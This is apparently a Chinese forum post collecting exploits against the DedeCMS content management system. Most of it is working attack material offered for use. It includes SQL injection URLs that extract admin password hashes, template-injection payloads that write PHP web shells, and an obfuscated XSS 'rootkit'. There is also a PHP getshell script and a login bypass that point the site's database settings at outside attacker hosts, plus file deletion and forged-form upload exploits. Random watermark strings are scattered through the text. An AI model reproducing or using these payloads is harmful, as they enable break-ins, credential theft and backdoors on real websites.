dedecms漏洞总结

admin

/ [0 N8 r) O6 ?Dedecms 5.6 rss注入漏洞
: g0 }! H+ d: }9 G3 ~3 Shttp://www.test.com/plus/rss.php?tid=1&_Cs[][1]=1&_Cs[2))%20AND%20%22%27%22%20AND%20updatexml%281,%28SELECT CONCAT%280x5b,uname,0x3a,MID%28pwd,4,16%29,0x5d%29%20FROM%20dede_admin%29,1%29%23'][0]=1

) l5 r. z% U3 ~. m- m" r, r# L% L$ p" X
" u. w( Z: I- ]: ]

+ T7 s. c1 Z# Y2 G3 d/ q6 i


: Z7 N6 h0 D) ~# A
DedeCms v5.6 嵌入恶意代码执行漏洞
" K0 z% G6 C. O, D$ _' |! f2 m注册会员，上传软件：本地地址中填入 a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}
发表后查看或修改即可执行
1 Q# \! D( b/ F" z, ma{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
生成x.php 密码xiao，直接生成一句话。
4 `: G, F. c* [  F
* {( ?) a5 S( v" R! G1 [( O0 ^

; ^2 d! U4 y+ S  [. ]) Z$ g

! D2 i9 P) l) D( E" s' v4 M
# F2 l  R# u# O; |0 l/ Q' X
* l. ]* [2 v/ f' x" E9 z; B
Dede 5.6 GBK SQL注入漏洞
( k/ H! \. L* Fhttp://www.test.com//member/index.php?uid=''%20||%20''''%20||%20''%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7'';
http://www.test.com//member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7WFXSSProbe
+ }( P- U+ a- c# j2 d% e: h. a+ yhttp://www.test.com/member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7

7 [# c9 k# x4 j# |7 f
! P; K" `1 ]. ]9 B6 p6 i; u


. @2 M( O) g; {+ F/ [6 |: x


4 D5 ?- Q9 M" x3 T, h6 J, x6 mDedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
/ q) Q1 @& M# A# Shttp://www.test.com/plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
0 }# H% C2 t0 Q; q) O

! S  Y9 s- h1 V4 T$ H' T


# n3 j# a2 x4 B
DEDECMS 全版本 gotopage变量XSS漏洞
4 @& F9 X( g/ h  i) e1.复制粘贴下面的URL访问，触发XSS安装XSS ROOTKIT,注意IE8/9等会拦截URL类型的XSS漏洞，需关闭XSS筛选器。
http://v57.demo.dedecms.com/dede/login.php?gotopage="><script>eval(String.fromCharCode(80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,61,39,34,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,47,120,115,115,32,114,111,111,116,107,105,116,33,47,41,60,47,115,99,114,105,112,116,62,60,120,61,34,39,59,32,13,10,118,97,114,32,100,97,116,101,61,110,101,119,32,68,97,116,101,40,41,59,13,10,118,97,114,32,101,120,112,105,114,101,68,97,121,115,61,51,54,53,59,32,13,10,100,97,116,101,46,115,101,116,84,105,109,101,40,100,97,116,101,46,103,101,116,84,105,109,101,40,41,43,101,120,112,105,114,101,68,97,121,115,42,50,52,42,51,54,48,48,42,49,48,48,48,41,59,13,10,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,39,103,111,116,111,112,97,103,101,61,39,43,80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,43,39,59,101,120,112,105,114,101,115,61,39,43,100,97,116,101,46,116,111,71,77,84,83,116,114,105,110,103,40,41,59,13,10,97,108,101,114,116,40,39,88,115,115,32,82,111,111,116,107,105,116,32,73,110,115,116,97,108,108,32,83,117,99,99,101,115,115,102,117,108,32,33,33,33,33,39,41,59))</script><x="
/ O1 Y: v! a0 c& }

2.关闭浏览器，无论怎么访问下面的任意URL，都会触发我们的XSS。
http://v57.demo.dedecms.com/dede/login.php?gotopage=dasdasdasda
4 e" s) ?5 Q" k! v( B

http://v57.demo.dedecms.com/dede/login.php


color=Red]DeDeCMS(织梦)变量覆盖getshell
" c1 n) P0 o0 \3 f$ F2 k* z' D#!usr/bin/php -w
<?php
& F) L6 T: n* Yerror_reporting(E_ERROR);
; I- V( ~2 j9 b* v" Y8 p8 rset_time_limit(0);
print_r('
! j! R" P! b- r/ ?+ e4 v2 ZDEDEcms Variable Coverage
) e( b) y- {) D" Q; ^Exploit Author: www.heixiaozi.comwww.webvul.com
* a" y; G! \7 @: P) O( j/ J* v+ C);
* z0 |% L" T- @  y0 u6 s) ]echo "\r\n";
( r. q0 @5 Z: z5 r! c# Xif($argv[2]==null){
5 Y0 K$ R7 W# ^- J+ c2 @& \; {print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' url aid path
7 b5 c& p( K. b( F/ ?aid=1 shellpath /data/cache aid=2 shellpath= / aid=3 shellpath=/plus/
Example:
/ _; j6 F& p- M5 I: ~1 z+ y8 Hphp '.$argv[0].' www.site.com 1 old
8 f/ _3 g' F" n  X1 T) h) [+---------------------------------------------------------------------------+
');
exit;
3 n* f* C3 {) s! m, Y% x}
$url=$argv[1];
6 N* e& }, k6 q( _) o0 h  P1 F* D$aid=$argv[2];
- I3 r# S* d5 S$path=$argv[3];
$exp=Getshell($url,$aid,$path);
if (strpos($exp,"OK")>12){
echo "
Exploit Success \n";
, W  [  V9 h) t4 q  oif($aid==1)echo "
Shell:".$url."/$path/data/cache/fuck.php\n" ;

# u% M) c& t8 D: v+ B
if($aid==2)echo "
; J/ w& L% n* u! R% {; UShell:".$url."/$path/fuck.php\n" ;


if($aid==3)echo "
1 t: G) X+ h1 a1 BShell:".$url."/$path/plus/fuck.php\n";

1 f! s' V. R+ D- L$ Y& \6 ?/ r
}else{
echo "
Exploit Failed \n";
}
6 U4 i3 Q) N0 ]$ hfunction Getshell($url,$aid,$path){
: {: V  ~, \  |3 _% P$id=$aid;
$host=$url;
$port="80";
$content ="doaction=http%3A%2F%2F$host%2Fplus%2Fmytag_js.php%3Faid%3D1&_COOKIE%5BGLOBALS%5D%5Bcfg_dbhost%5D=184.105.174.114&_COOKIE%5BGLOBALS%5D%5Bcfg_dbuser%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbpwd%5D=90sec&_COOKIE%5BGLOBALS%5D%5Bcfg_dbname%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbprefix%5D=dede_&nocache=true&QuickSearchBtn=%CC%E1%BD%BB";
$data = "POST /$path/plus/mytag_js.php?aid=".$id." HTTP/1.1\r\n";
$data .= "Host: ".$host."\r\n";
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
$data .= "Accept-Language: zh-cn,zh;q=0.5\r\n";
//$data .= "Accept-Encoding: gzip,deflate\r\n";
$data .= "Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7\r\n";
1 x4 Q% Z% ]  h2 O2 K& e$data .= "Connection: keep-alive\r\n";
/ }( M& q/ V+ W2 W2 @$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
$data .= $content."\r\n";
$ock=fsockopen($host,$port);
if (!$ock) {
echo "
No response from ".$host."\n";
0 a- a; k8 J7 y1 s5 h}
' i5 @# I3 S" }6 x4 h; o( Wfwrite($ock,$data);
while (!feof($ock)) {
! k* T4 G  [1 D4 L5 n$exp=fgets($ock, 1024);
' ~( U! A! D; Q& y) G& Lreturn $exp;
: T' [: k1 L6 [8 x) e* x4 X}
}

/ s- M' e7 h3 g, M1 G' V: s( n& F
2 m7 F  L' b( d7 ^/ c?>



8 z6 @# Q( B, K% z: g) q2 b" m

1 s' g+ z2 J# O8 n4 R9 l, Y

* ^3 V' _3 E/ f7 {/ Z
% p5 e+ W' h7 d* w/ N
2 f+ _+ |! W3 d8 t) U& J) g
' t0 w0 K# d0 f+ gDedeCms v5.6-5.7 越权访问漏洞(直接进入后台)
, M' x' m# F. i0 M+ _http://www.ssvdb.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root


$ S( G' {8 T: r1 Q* @! h9 M) @把上面validate=dcug改为当前的验证码，即可直接进入网站后台
* ~+ [+ d7 v' Q

! c+ P4 v8 q" D* Y此漏洞的前提是必须得到后台路径才能实现
: e* A+ [' }* N- m' ?- B/ X

6 V/ ~! p" |) v. E
# y8 ]1 H: q3 ]8 o4 B2 P# ?- a, \: o

0 v; e* E# W- o0 z  s
8 O- o9 H, C, b7 J0 t

1 L5 u& x3 Y7 k0 o/ [

  t( d4 O7 j( W9 Q4 gDedecms织梦 标签远程文件写入漏洞
前题条件，必须准备好自己的dede数据库，然后插入数据： insert into dede_mytag(aid,normbody) values(1,''{dede:php}$fp = @fopen("1.php", \''a\'');@fwrite($fp, \''\'');echo "OK";@fclose($fp);{/dede:php}'');


再用下面表单提交，shell 就在同目录下 1.php。原理自己研究。。。
8 a5 N; j. S- a" n2 H, M  d<form action="" method="post" name="QuickSearch" id="QuickSearch">
& }! R% j$ ~6 H5 @( S; X<input type="text" value="http://www.tmdsb.com/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />
' ]1 z! h! V4 M0 j) \3 N2 d' E# Y<input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br />
2 ~2 ]/ X. Q, c4 L<input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br />
<input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br />
<input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br />
2 ^8 @: C' L$ X2 ]! T<input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br />
<input type="text" value="true" name="nocache" style="width:400">
<input type="submit" value="提交" name="QuickSearchBtn"><br />
</form>
<script>
8 j: |* y) B+ X9 g: ~" ]function addaction()
{
3 N/ i8 U; @1 a% x- F: \document.QuickSearch.action=document.QuickSearch.doaction.value;
; c7 E5 f4 R# T* y1 e}
</script>
5 J+ J/ n5 |$ u& g; b

; E& \% n( v  B( E$ Q

3 W' \- h/ o$ l3 p( |, U7 |. G

7 O# c7 r2 j' Y" B5 P" x4 m) e

' k  F2 s- Y# c$ ^

  Y9 R) j; D& N& u% F" B4 u7 ADedeCms v5.6 嵌入恶意代码执行漏洞
注册会员，上传软件：本地地址中填入a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}，发表后查看或修改即可执行
a{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
生成x.php 密码：xiao直接生成一句话。密码xiao 大家懂得
Dedecms <= V5.6 Final模板执行漏洞
注册一个用户，进入用户管理后台，发表一篇文章，上传一个图片，然后在附件管理里，把图片替换为我们精心构造的模板，比如图片名称是：
uploads/userup/2/12OMX04-15A.jpg


模板内容是（如果限制图片格式，加gif89a）：
8 q" A9 m" D2 Z" T7 f* B1 a" x{dede:name runphp='yes'}
$fp = @fopen("1.php", 'a');
7 P6 o) O: J! B2 O4 _@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
@fclose($fp);
3 g" {# `( w9 S+ ]$ k+ S) S; `{/dede:name}
- [( l) D% U$ O; v' M' I2 修改刚刚发表的文章，查看源文件，构造一个表单：
<form class="mTB10 mL10 mR10" name="addcontent" id="addcontent" action="http://127.0.0.1/dede/member/article_edit.php" method="post" enctype="multipart/form-data">
4 O, K7 V" Z7 x: j2 S& T<input type="hidden" name="dopost" value="save" />
<input type="hidden" name="aid" value="2" />
<input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" />
7 P( N- V$ p% I+ o) k( |; C<input type="hidden" name="channelid" value="1" />
<input type="hidden" name="oldlitpic" value="" />
3 `8 O( J5 `9 ^! ]8 T* a<input type="hidden" name="sortrank" value="1275972263" />
$ l% q3 w% T! j9 y! ^, p: K; g

<div id="mainCp">
% M7 Z# B; X1 o  a/ e$ I2 y  E<h3 class="meTitle"><strong>修改文章</strong></h3>

8 f' t" R5 T2 v9 T7 C0 J8 a% c
<div class="postForm">
<label>标题：</label>
<input name="title" type="text" id="title" value="11233ewsad" maxlength="100" class="intxt"/>


<label>标签TAG：</label>
<input name="tags" type="text" id="tags" value="hahah,test" maxlength="100" class="intxt"/>(用逗号分开)
& \) s; M- v8 \* I9 s, Y! _
2 @0 _5 I( c4 D4 T: _
<label>作者：</label>
<input type="text" name="writer" id="writer" value="test" maxlength="100" class="intxt" style="width:219px"/>


. P4 V2 H1 |, Z$ }<label>隶属栏目：</label>
<select name='typeid' size='1'>
, B$ c* O# Y9 ]- _: i2 a( C<option value='1' class='option3' selected=''>测试栏目</option>
. P& X0 m4 k: b1 ?</select> <span style="color:#F00">*</span>(不能选择带颜色的分类)


<label>我的分类：</label>
& r. p( |# S& d, l) i5 ~3 c' ]<select name='mtypesid' size='1'>
<option value='0' selected>请选择分类...</option>
! e' z' P  Z3 G; y& w/ p<option value='1' class='option3' selected>hahahha</option>
</select>


" b/ [0 r0 p9 j<label>信息摘要：</label>
+ c  m# B/ h! \+ y; [& U0 x<textarea name="description" id="description">1111111</textarea>
, t" S5 b& e! o6 N/ a( I(内容的简要说明)
+ E5 t) D2 \4 l% c! K. h9 p7 Z
$ X: H8 Y* D. e
<label>缩略图：</label>
2 Z. u2 u8 P5 A) n, L. j! c3 i" I<input name="litpic" type="file" id="litpic" maxlength="100" class="intxt"/>


+ o0 d# ~- p8 G2 z, w( F: ~<input type='text' name='templet'
1 \2 ]5 o8 r7 D' T- Mvalue="../ uploads/userup/2/12OMX04-15A.jpg">
0 O1 ~0 K4 h2 z/ N<input type='text' name='dede_addonfields'
value="templet,htmltext;">（这里构造）
</div>

5 d' C+ m/ M% h; Q
<!-- 表单操作区域 -->
9 {, v% l7 R8 z6 t5 ^' s<h3 class="meTitle">详细内容</h3>
! `& C5 v  `& Y3 a. W" a
5 Q3 K. I6 w) R- Z: j( T5 u* m; u
+ M0 ?- m4 y$ T# f3 X<div class="contentShow postForm">
8 v9 }* k0 h  E: Q$ v4 z( G# Z<input type="hidden" id="body" name="body" value="<div><a href="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" target="_blank"><img border="0" alt="" src="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" width="1010" height="456" /></a></div> <p><?phpinfo()?>1111111</p>" style="display:none" /><input type="hidden" id="body___Config" value="FullPage=false" style="display:none" /><iframe id="body___Frame" src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member" width="100%" height="350" frameborder="0" scrolling="no"></iframe>

& l, E' u  H; w/ n& R7 i9 Y2 v/ ~
+ M, F! v6 Q1 s6 h<label>验证码：</label>
, Y: |, P1 p! U3 |8 N0 S& y<input name="vdcode" type="text" id="vdcode" maxlength="100" class="intxt" style='width:50px;text-transform:uppercase;' />
; _; g0 J' H& z6 Q<img src="http://127.0.0.1 /dede/include/vdimgck.php" alt="看不清？点击更换" align="absmiddle" style="cursor:pointer" />

; R/ p. G6 n$ _& V
, l0 j" e. ~9 ^' }<button class="button2" type="submit">提交</button>
. L% }3 A6 ?, E& n- J7 D- Z! q<button class="button2 ml10" type="reset">重置</button>
- O( E5 ]$ `! d% z2 q$ y$ B</div>

! V  y9 F1 X5 Z, P. v- ?* s
4 t. t, F# K* ]- B/ @</div>
& T7 j8 C! E6 Z
1 W6 e5 p- d( X% u/ D- g7 e0 ^
8 Y  N/ j( ~$ L& D! T/ b</form>


提交，提示修改成功，则我们已经成功修改模板路径。 3 访问修改的文章：
3 M' h" }6 B0 Z* C假设刚刚修改的文章的aid为2，则我们只需要访问：
, h: u0 Z, _1 Whttp://127.0.0.1/dede/plus/view.php?aid=2
即可以在plus目录下生成webshell：1.php





! s. \& e" v7 ]( N
8 Q& ?0 v/ k- A& d9 z6 U
2 T* t6 X" N# g* W1 o, M/ d1 `( d) ]
( L: z6 M5 p8 p8 n7 }

/ ^/ W/ W& M& X& o/ ~$ N# b% p

) |) K0 \. R3 R  RDEDECMS网站管理系统Get Shell漏洞(5.3/5.6)
Gif89a{dede:field name='toby57' runphp='yes'}
* L7 z9 S/ y7 Yphpinfo();
; p7 K: C8 |4 a6 N6 `{/dede:field}
6 @& k1 B0 a2 t! X# A! _* V; n3 G保存为1.gif
<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php" method="post" enctype="multipart/form-data" ">
<input type="hidden" name="aid" value="7" />
<input type="hidden" name="mediatype" value="1" />
( u; G( ]% \! ]9 R5 j/ ~2 h<input type="text" name="oldurl" value="/DedeCmsV5.6-GBK-Final/uploads/uploads/userup/3/1.gif" /></br>
<input type="hidden" name="dopost" value="save" />
<input name="title" type="hidden" id="title" value="1.jpg" class="intxt"/>
<input name="addonfile" type="file" id="addonfile"/>
5 p8 b4 r4 t) D6 ^<button class="button2" type="submit" >更改</button>
) p4 W) P/ x' e  F) K</form>
" B) g9 ~& \. y" G+ x

1 d5 z' I; |7 D- w$ n" ?: J构造如上表单，上传后图片保存为/uploads/userup/3/1.gif
发表文章，然后构造修改表单如下：
+ \- v) ~: [( D

<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/article_edit.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="dopost" value="save" />
* ^* z; a# v5 o4 R5 v<input type="hidden" name="aid" value="2" />
<input type="hidden" name="idhash" value="ec66030e619328a6c5115b55483e8dbd" />
<input type="hidden" name="channelid" value="1" />
<input type="hidden" name="oldlitpic" value="" />
" i9 A% N% [$ [$ j<input type="hidden" name="sortrank" value="1282049150" />
% h# x$ I% L8 r- _/ X  _<input name="title" type="text" id="title" value="aaaaaaaaaaaaaaa" maxlength="100" class="intxt"/>
<input type="text" name="writer" id="writer" value="123456" maxlength="100" class="intxt" style="width:219px"/>
# v( \5 n4 p0 l8 _8 v<select name='typeid' size='1'>
6 C' V  d# l: k+ E" j& |5 ~5 q<option value='1' class='option3' selected=''>Test</option>
; ]' S  B( D# o* A# V# I. g) @* r<select name='mtypesid' size='1'>
. w  x( H. W: J) s0 T  x<option value='0' selected>请选择分类...</option>
<option value='1' class='option3' selected>aa</option></select>
: F2 c( @# D0 q! W! U1 F$ m; t<textarea name="description" id="description">aaaaaaaaaaaaa</textarea>
% t4 Z' S$ Q- b- D! \* G<input type='hidden' name='dede_addonfields' value="templet">
<input type='hidden' name='templet' value="../uploads/userup/3/1.gif">
<input type="hidden" id="body" name="body" value="aaaa" style="display:none" />
<button class="button2" type="submit">提交</button>
. ^7 h7 c. d$ U8 C$ N# K2 Q9 i5 D</form>
1 u$ O6 v! R5 U8 @. |
! f# _2 i5 ^8 }8 r1 M7 ]& g! F7 A

6 U! h2 c# ^4 u8 ^0 }5 l


8 K! y* t1 C6 v; e
! N# q5 B. s' f$ ]$ L/ \6 l0 J
; \- N" L# V" G& J# D6 w- v  x  ~
# S  M" ?; B" v( w* o! w' r/ {


织梦(Dedecms)V5.6 远程文件删除漏洞
http://test.com/member/edit_face.php?dopost=delold&oldface=/uploads/userup/8/../../../member/templets/images/m_logo.gif
! x4 m& b/ e% B9 f9 ]( u
% l% B  v- v. E' e* C* N) z
5 z/ O( T" |" H+ A) e


# [- I5 I( c, ?: T( I

9 Z6 y, \4 x0 [. J0 K" K6 K  e$ Y

* b/ l6 s  t3 z
织梦(Dedecms) V5.6 plus/carbuyaction.php 本地文件包含漏洞
http://www.test.com/plus/carbuya ... urn&code=../../
# T! G% c8 `1 G# D/ E' t" W7 V9 a- G9 V

- C0 V% y+ T" q& z/ C
, T3 m# G2 g; ?7 e


, q  f6 G$ w. P9 H

# Q( N  M9 H* w( b
& m8 l3 R. R" H' g) r
DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
密码是32位MD5减去头5位，减去尾七位，得到20 MD5密码，方法是，前减3后减1，得到16位MD5

$ {& S# b' }: a# t2 `
! M& K& m' a3 @$ f



- d4 R4 o& n: H. L' |

1 U  P7 x6 Q' ^

织梦(Dedecms) 5.1 feedback_js.php 注入漏洞
http://st0p/dedecms51/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''='

- X; B5 M1 [5 b7 f! H% p. N& l* ~+ i
/ l! C7 l1 i2 G; A
  y/ D8 k5 o8 ~+ Q



, h; \+ D( a+ b7 O

* a+ v: X+ L) g, _# W7 e
织梦(Dedecms)select_soft_post.php页面变量未初始漏洞
, ?( O* l) g, R! v5 @' t: g<html>
<head>
<title>Dedecms v55 RCE Exploit Codz By flyh4t</title>
$ P, {6 V' e  N; Q, ^</head>
<body style="FONT-SIZE: 9pt">
5 ]3 [" F0 B0 ^* P$ p---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- <br /><br />
( x" u3 `  {0 f2 ^- O4 B9 E<form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-data" name='myform'>
<input type='hidden' name='activepath' value='/data/cache/' />
* d" `  `  Z# V% V/ p3 \<input type='hidden' name='cfg_basedir' value='../../' />
5 x3 e5 C3 r+ C- d/ q<input type='hidden' name='cfg_imgtype' value='php' />
1 a: k. A) m& r! X4 D- o<input type='hidden' name='cfg_not_allowall' value='txt' />
( x3 ?) h: A' h2 b% s<input type='hidden' name='cfg_softtype' value='php' />
<input type='hidden' name='cfg_mediatype' value='php' />
- g" G9 i, A3 K' Z<input type='hidden' name='f' value='form1.enclosure' />
' w  K8 {5 x& r5 f! w<input type='hidden' name='job' value='upload' />
<input type='hidden' name='newname' value='fly.php' />
* C% m% A4 C! m" bSelect U Shell <input type='file' name='uploadfile' size='25' />
6 s: p( l" C$ W<input type='submit' name='sb1' value='确定' />
</form>
& @- Z* K0 v+ Z7 S<br />It's just a exp for the bug of Dedecms V55...<br />
1 E2 L+ Y4 g+ oNeed register_globals = on...<br />
) Y4 p/ K1 j. h3 q1 a# K: fFun the game,get a webshell at /data/cache/fly.php...<br />
</body>
/ M# {/ l- {4 R# a</html>


! S/ l' o% W; q& K  ~6 M4 D

" e* C% w4 j! E& r5 D
/ W/ O7 C4 _1 B3 \3 G* i/ [7 }



8 D0 d3 c0 u4 Y+ X7 ~- Q
织梦(dedecms)5.3 – 5.5 plus/digg_frame.php 注入漏洞
利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。
1. 访问网址：
! P, ~4 }/ s8 H# J! n" T5 jhttp://www.abc.com/plus/digg_fra ... 024%651024&mid=*/eval($_POST[x]);var_dump(3);?>
可看见错误信息


  M6 ?9 t$ Z% o! ]( x. ]- [2. 访问 http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。
! G4 p- w' ~# D) r( c2 fint(3) Error: Illegal double '1024e1024' value found during parsing
9 q) n6 y1 ~9 S: WError sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?>
: l4 ^) |" _5 N- y

3. 执行dede.rar里的文件 test.html，注意 form 中 action 的地址是
- e0 b# ^8 }. U) i& V

<form action=”http://www.abc.com/data/mysql_error_trace.php” enctype=”application/x-www-form-urlencoded” method=”post”>
5 G3 O/ L, R9 ?3 n2 }2 I

/ l. u; O( F0 S1 N" u- N按确定后的看到第2步骤的信息表示文件木马上传成功.

, a: z* ]7 ~4 H8 H- i
, s! @( f/ ?4 [9 A1 t+ L5 B2 x
4 M# D, e- a' i5 t
; J6 y) h. S/ z: i+ B; E. K
1 {, q& \5 V' U0 o4 H: J
7 K3 \' B7 e9 U+ n5 F3 L' Z; G
: A) d4 k- c% j% K' t) w- o
. B9 r9 [' Y$ P6 o3 t



织梦(DedeCms)plus/infosearch.php 文件注入漏洞
) y' w0 V! G; O; Qhttp://localhost/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,userid,4,pwd,6%20from%20dede_admin/*